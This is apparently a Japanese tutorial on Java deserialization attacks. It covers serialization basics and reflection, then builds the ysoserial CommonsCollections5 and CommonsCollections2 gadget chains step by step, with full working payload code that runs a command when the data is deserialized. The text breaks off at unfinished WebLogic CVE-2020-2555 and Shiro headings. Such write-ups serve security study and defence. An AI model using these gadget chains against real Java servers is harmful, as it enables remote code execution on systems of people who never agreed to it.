Java逆シリアライズ技術の共有

今回の共有で扱う内容は以下のとおりです。

Javaのシリアライズと逆シリアライズの基礎
なぜ逆シリアライズの際に脆弱性が発生するのか？
Javaリフレクション
ysoserial CommonsCollections2、CommonsCollections5
Java ClassLoader でクラスをロードするいくつかの方法
WebLogic CVE-2020-2555 CVE-2020-2883 RCE
Shiro-550 rememberMe のハードコードによる逆シリアライズRCE
WebLogic + Shiro 逆シリアライズによるfilterメモリシェルのワンクリック登録

Javaのシリアライズと逆シリアライズの基礎

Java のシリアライズとは、Javaオブジェクトをバイトシーケンスに変換するプロセスであり、メモリ、ファイル、データベースに保存しやすくするためのものです。ObjectOutputStreamクラスの writeObject() メソッドでシリアライズを実装し、Javaオブジェクトをバイトシーケンスに変換します。

Java の逆シリアライズとは、バイトシーケンスをJavaオブジェクトに復元するプロセスです。ObjectInputStream クラスの readObject() メソッドは逆シリアライズに使用されます。

簡単な例を挙げます。コードSerializeAndDeserializeを参照してください ps:ここではコード内の強制型変換に注目してください```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化并且Java内置的几大数据类型也可被序列化，因为他们都继承了Object类 */

public class SerializeAndDeserialize {

public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

String、Integer、配列、ObjectオブジェクトなどJava組み込みのデータ型はすべてシリアライズを実装でき、自分たちで書いたPerson、DogクラスもSerializableインターフェースを実装していればシリアライズとデシリアライズを実装できます。



## なぜデシリアライズのときに脆弱性が生じるのか？

コードを見てみましょう。今、悪意のあるエンティティクラスEvilClassがあります。```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

そのreadObject内にはコマンド実行のコードRuntime.getRuntime().exec(new String[]{"cmd", "/c", name})が存在し、nameパラメータは実行するコマンドである。そこで、悪意のあるオブジェクトを構築し、そのname属性に実行したいコマンドを代入すると、逆シリアライズ時にreadObjectがトリガーされた際にRCEが発生する。以下の通りである。```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

では、ここまでで逆シリアライゼーションがどのようにしてRCEにつながるのかを理解しました。しかし、実際の開発でこのまま書くことはあり得ないため、ここで利用チェーン（gadget chain）の探索が必要になります。逆シリアライゼーションの脆弱性には3つの要素が必要です。

1. 逆シリアライゼーションの入り口（source）
2. ターゲットメソッド（sink）
3. 利用チェーン（gadget chain）

上図の出力結果をよく見ると、`readObject`メソッドがトリガーされただけでなく、`toString()`、引数なしコンストラクタ、`set`、`get`メソッドもトリガーされています。つまり、実際に利用チェーンを探す際には、`readObject()`メソッドだけに注目するのではなく、これらのメソッドも考慮する必要があるということです。

そして次に、**リフレクション**について理解する必要があります。前述の**強制型変換**の問題ですが、実際の開発では`readObject`内で論理処理が行われ、渡されたオブジェクトの具体的なデータ型が不明な場合は、リフレクションを通じて型を判断して呼び出しを行います。そして、このリフレクションこそがRCEへの重要な手段となるのです。

## Javaリフレクション

リフレクションとは何でしょうか？「リフレクション（reflection）」には「反（re）」という字が含まれています。つまり、リフレクションを説明するには「正射（正規の呼び出し）」から始める必要があります。コードを見てみましょう。これは私のエンティティクラスです。```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

正常な書き方```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

簡単に言うと、new で ReflectionClass インスタンスを作成し、そのインスタンスを介して所属メソッドを呼び出すこと、これが"正射"です。しかし、new するときにクラス名が分からない場合はどうすればよいでしょうか？ private で保護されたメソッドはどうやって呼び出すのでしょうか？ 反射の作用がここで現れます。次のコードを見てください。```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

クラス名を事前に知る必要はなく、org.chabug.entity.ReflectionClassクラスを少し変更してパラメータで渡せばよい。また、setAccessibleを使えばprivateで保護されたメソッドやフィールドも取得できる。

次に、脆弱性を手掛かりに、リフレクションがデシリアライゼーションにおいて果たす役割と、デシリアライゼーションの呼び出しチェーンの発掘について深く理解していく。

ysoserial CommonsCollections2、CommonsCollections5

ysoserial はJavaデシリアライゼーションのexpを生成するツールであり、既知のexpがいくつか統合されている。例えばCommonsCollectionsのいくつかの利用チェーンである。今回分析するのはCC2、CC5の2つのチェーンだ。この2つを分析する理由は、CC2ではバイトコードを定義する操作が使われており、CC5ではリフレクションとチェーン呼び出しへの理解を深めるためである。

まず、より理解しやすいCC5のチェーンを見てみよう。

CommonsCollections5

脆弱性はorg.apache.commons.collections.functors.InvokerTransformer#transformに存在する。```java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

リフレクションの章のコードと比較すると、これは明らかにリフレクションの使い方であることがわかる。正射のコードで説明すると、```java
input.iMethodName(iArgs);

this.iMethodName、this.iParamTypes、this.iArgsはすべてコンストラクタ内で制御可能です。これにより、inputオブジェクトの任意のメソッドを呼び出し、任意の引数を渡すことができます。```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

そこで、まずはコマンドを実行するコードを紹介します。```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

Runtimeクラスはシングルトンパターンであるため、getRuntime()を使用してRuntimeランタイムオブジェクトを取得し、transform()に渡した後に計算機がポップアップ表示されます。

しかし、ご存知の通り、デシリアライズ時には自動的にreadObject()のみが実行されます。この時点で直接InvokerTransformerオブジェクトを構築する場合でも、次の2つの問題を解決する必要があります。

Runtime.getRuntime()を自動実行する
invokerTransformer.transform()を自動実行する

まず最初の問題を解決します。org.apache.commons.collections.functors.ChainedTransformer#transformではチェーン呼び出しを実現できます。```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

this.iTransformersの定義はTransformer配列です```java
private final Transformer[] iTransformers;

Transformerはインターフェースであり、InvokerTransformerもこのインターフェースを実装しています。

Javaの暗黙的な型変換の原則に基づき、Transformer配列を定義して、その中に複数のInvokerTransformerを入れることで、複数回のリフレクション呼び出しを実現し、Runtime.getRuntime().exec()を取得できます。```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

その巧妙な点は、ConstantTransformerクラスのコンストラクタにRuntime.classを渡していることです。これにより、自分でRuntimeを渡す必要がなくなります。

次に、2つ目の問題を解決する必要があります。それは、どのようにしてtransform()を自動的にトリガーするかです。readObject()が逆シリアル化時に実行されることは周知のとおりですが、どのクラスのreadObject()がtransform()を直接的または間接的に呼び出しているのでしょうか？

org.apache.commons.collections.map.LazyMap#getの中でtransform()が呼び出されています。```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

このクラスのコンストラクターメソッドとfactoryフィールドを見てください```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

factoryフィールドはfinal、protectedで修飾されていますが、このクラスのオブジェクトを生成するpublicメソッドdecorate()があるので、以下のように構築できます。```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

このとき、mapのget()メソッドがどこで呼び出されているかを探している org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

getValue()はちょうどmap.get()を呼び出しており、this.keyも制御可能です。そしてtoString()はthis.getValue()を呼び出します。ここから構築を続けます。```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

では今の問題は、どのようにreadObjectがtoString()を自動的にトリガーするかです。これは簡単で、jdkの組み込みクラスの中にBadAttributeValueExpExceptionという例外クラスがあり、そのreadObject()はtoString()を実行します。```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

System.getSecurityManager()はデフォルトでnullであるため、val = valObj.toString()がトリガーされ、TiedMapEntry.toString()に進み、最終的なpayloadに至る。```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

注意すべき点として、BadAttributeValueExpExceptionオブジェクトを宣言する際、entryパラメータを直接渡すのではなく、リフレクションを使って代入している。なぜなら、BadAttributeValueExpExceptionのコンストラクタはnullかどうかを判定し、nullでなければシリアライズ時にtoString()が実行されるため、デシリアライズ時には、渡されたentryがすでに文字列であるため、toStringメソッドはトリガーされないからである。

まとめ：リフレクションを柔軟に活用し、チェーン呼び出しを組み合わせて、ガジェットを見つけてRCEを成功させる。```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

### CommonsCollections2

CC2を紹介する前に、まずJavaバイトコードについて理解する必要がある。Javaでは、すべてのJavaコードはclassバイトコードファイルにコンパイルされて、JVMに実行させる必要がある。バイトコードはどちらかというとアセンブリ言語に似ており、可読性が非常に低い。しかし、バイトコードを操作・修正・編集してプログラミングを実現する優れたライブラリが依然として多数ある。例えば、asm、cglib、javassistなどがある。ysoserialツールで使用されているのはjavassistライブラリである。まず、ysoserialにおけるcc2のペイロードがどのように書かれているかを見てみよう。```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

最初に1行目のGadgets.createTemplatesImpl(command)を見てください```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

org.apache.xalan.xsltc.trax.TemplatesImplというクラスが出てきたので、まずは2行のコードを見てみる必要がある。```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

なぜ電卓が起動するのか？createTemplatesImpl()を深掘りする```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

上記のコードは以下のことを行っています：

1. `org.apache.xalan.xsltc.trax.TemplatesImpl` オブジェクト `templates` をインスタンス化します。このオブジェクトの `_bytecodes` にはバイトコードを格納できます。
2. `AbstractTranslet` を継承し `Serializable` インターフェースを実装する `StubTransletPayload` クラスを自作しました。
3. `StubTransletPayload` のバイトコードを取得し、javassist を使用して `templates` のバイトコード（Runtime.exec コマンド実行）を挿入します。
4. リフレクションで `templates` の `_bytecodes` にコマンド実行を含むバイトコードを設定します。

実際には、`org.apache.xalan.xsltc.trax.TemplatesImpl` のサブクラスを実装し、その `_bytecodes` フィールドに自分の悪意のあるバイトコードを挿入しているだけです。`newTransformer()` を見てみましょう。```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

会执行getTransletInstance()，跟进```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

次の行はバイトコードで定義されたクラスに基づいてインスタンスをnewしますが、バイトコードで定義されたクラスのstaticブロックにはRuntime.execが記述されているため、RCEを引き起こします。```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

では、readObject内でtemplate.newTransformer()を呼び出すクラスを探せばよい。つまり、ペイロード内のPriorityQueueである。

PriorityQueue は、優先度に基づく無制限の優先度キューである。優先度キューの要素は、その自然順序に従ってソートされる、または、キュー構築時に提供される Comparator に従ってソートされる。どちらを使用するかは、使用されるコンストラクタによって異なる。

そのreadObject()を確認する。```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

優先度付きキューである以上、必ずソートが存在します。`heapify()`では```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparatorは比較器です。comparatorを指定すると、comparator.compare((E) c, (E) queue[right])に入ります。comparatorはComparatorインターフェースのオブジェクトです。```java private final Comparator<? super E> comparator;

その継承関係を確認すると、CCパッケージのTransformingComparatorクラスがComparatorインターフェースを実装していることがわかる

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

TransformingComparatorのcompare()メソッド```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

ねえ、これこそまさにさっきのtransform任意メソッド反射呼び出しじゃないか！this.transformerが保持しているのはInvokerTransformerクラスで、前のnewTransformer()を反射呼び出しすれば直接RCEになる。payloadを構築```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

疑問に思うのは`new InvokerTransformer("toString", new Class[0], new Object[0])`のところだろう。なぜここで先にtoStringを使い、その後リフレクションでnewTransformerに変更するのか？なぜなら、newTransformerを直接使ってシリアライズすると、`The method 'newTransformer' on 'class java.lang.Integer' does not exist`というエラーが発生するからだ。そこでysoserialは、まずtoStringを使って文字列に変換し数字の1と比較するという方法を採用し、その後リフレクションで変更している。とても巧妙だ。

まとめ：```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

WebLogic-Shiro-shell

人気

BytecodeLoader```java

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

CVE-2020-2555